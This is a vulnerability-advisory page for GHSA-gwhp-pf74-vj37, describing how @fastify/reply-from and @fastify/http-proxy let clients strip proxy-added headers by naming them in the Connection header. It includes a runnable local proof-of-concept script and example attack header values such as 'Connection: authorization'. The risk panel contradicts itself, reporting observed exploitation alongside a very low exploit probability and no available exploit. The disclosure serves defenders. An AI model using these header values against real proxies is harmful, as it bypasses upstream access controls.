Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-gwhp-pf74-vj37

HighCVSS 8.6 / 10
Published Apr 16, 2026·Last modified Jun 9, 2026
Affected Components(0)

No affected components available

Description

Summary

@fastify/reply-from and @fastify/http-proxy process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers (like access control or identification headers) from upstream requests by listing them in the Connection header value. This affects applications using these plugins with custom header injection for routing, access control, or security purposes.

Details

The vulnerability exists in @fastify/reply-from/lib/request.js at lines 128-136 (HTTP/1.1 handler) and lines 191-200 (undici handler). The processing flow is:

  1. Client headers are copied including the connection header (@fastify/reply-from/index.js line 91)
  2. The proxy adds custom headers via rewriteRequestHeaders (line 151)
  3. During request construction, the transport handlers read the client's Connection header and strip any headers listed in it
  4. This stripping happens after rewriteRequestHeaders, allowing clients to target proxy-added headers for removal

RFC 7230 Section 6.1 Connection header processing is intended for proxies to strip hop-by-hop headers from incoming requests before adding their own headers. The current implementation reverses this order, processing the client's Connection header after the proxy has already modified the header set.

The call chain:

  1. @fastify/reply-from/index.js line 91: headers = { ...req.headers } — copies ALL client headers including connection
  2. index.js line 151: requestHeaders = rewriteRequestHeaders(this.request, headers) — proxy adds custom headers (e.g., x-forwarded-by)
  3. index.js line 180: requestImpl({...headers: requestHeaders...}) — passes headers to transport
  4. request.js line 191 (undici): getConnectionHeaders(req.headers) — reads Connection header FROM THE CLIENT
  5. request.js lines 198-200: Strips headers listed in Connection — including proxy-added headers

This is distinct from the general hop-by-hop forwarding concern — it's specifically about the client controlling which headers get stripped from the upstream request via the Connection header, subverting the proxy's rewriteRequestHeaders function.

PoC

Self-contained reproduction with an upstream echo service and a proxy that adds a custom header:

const fastify = require('fastify');

async function test() {
  // Upstream service that echoes headers
  const upstream = fastify({ logger: false });
  upstream.get('/api/echo-headers', async (request) => {
    return { headers: request.headers };
  });
  await upstream.listen({ port: 19801 });

  // Proxy that adds a custom header via rewriteRequestHeaders
  const proxy = fastify({ logger: false });
  await proxy.register(require('@fastify/reply-from'), {
    base: 'http://localhost:19801'
  });

  proxy.get('/proxy/*', async (request, reply) => {
    const target = '/' + (request.params['*'] || '');
    return reply.from(target, {
      rewriteRequestHeaders: (originalReq, headers) => {
        return { ...headers, 'x-forwarded-by': 'fastify-proxy' };
      }
    });
  });

  await proxy.listen({ port: 19800 });

  // Baseline: proxy adds x-forwarded-by header
  const res1 = await proxy.inject({
    method: 'GET',
    url: '/proxy/api/echo-headers'
  });
  console.log('Baseline response headers from upstream:');
  const body1 = JSON.parse(res1.body);
  console.log('  x-forwarded-by:', body1.headers['x-forwarded-by'] || 'NOT PRESENT');

  // Attack: Connection header strips the proxy-added header
  const res2 = await proxy.inject({
    method: 'GET',
    url: '/proxy/api/echo-headers',
    headers: { 'connection': 'x-forwarded-by' }
  });
  console.log('\nAttack response headers from upstream:');
  const body2 = JSON.parse(res2.body);
  console.log('  x-forwarded-by:', body2.headers['x-forwarded-by'] || 'NOT PRESENT (stripped!)');

  await proxy.close();
  await upstream.close();
}
test();

Actual output:

Baseline response headers from upstream:
  x-forwarded-by: fastify-proxy

Attack response headers from upstream:
  x-forwarded-by: NOT PRESENT (stripped!)

The x-forwarded-by header that the proxy explicitly added in rewriteRequestHeaders is stripped before reaching the upstream.

Multiple headers can be stripped at once by sending Connection: x-forwarded-by, x-forwarded-for.

Both the undici (default) and HTTP/1.1 transport handlers in @fastify/reply-from are affected, as well as @fastify/http-proxy which delegates to @fastify/reply-from.

Impact

Attackers can selectively remove any header added by the proxy's rewriteRequestHeaders function. This enables several attack scenarios:

  1. Bypass proxy identification: Strip headers that identify requests as coming through the proxy, potentially bypassing upstream controls that differentiate between direct and proxied requests
  2. Circumvent access control: If the proxy adds headers used for routing, authorization, or security decisions (e.g., x-internal-auth, x-proxy-token), attackers can strip them to access unauthorized resources
  3. Remove arbitrary headers: Any header can be targeted, including Connection: authorization to strip authentication or Connection: x-forwarded-for, x-forwarded-by to remove multiple headers at once

This vulnerability affects deployments where the proxy adds security-relevant headers that downstream services rely on for access control decisions. It undermines the security model where proxies act as trusted intermediaries adding authentication or routing signals.

Affected Versions

  • @fastify/reply-from — All versions, both undici (default) and HTTP/1.1 transport handlers
  • @fastify/http-proxy — All versions (delegates to @fastify/reply-from)
  • Any configuration using rewriteRequestHeaders to add headers that could be security-relevant
  • No special configuration required to exploit — works with default settings

Suggested Fix

The Connection header from the client should be processed and consumed before rewriteRequestHeaders is called, not after. Alternatively, the Connection header processing in request.js should maintain a list of headers that existed in the original client request and only strip those, not headers added by rewriteRequestHeaders.

Risk Scores
Base Score
8.6

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the integrity of the data.

Threat Intelligence
7.9

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.44%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard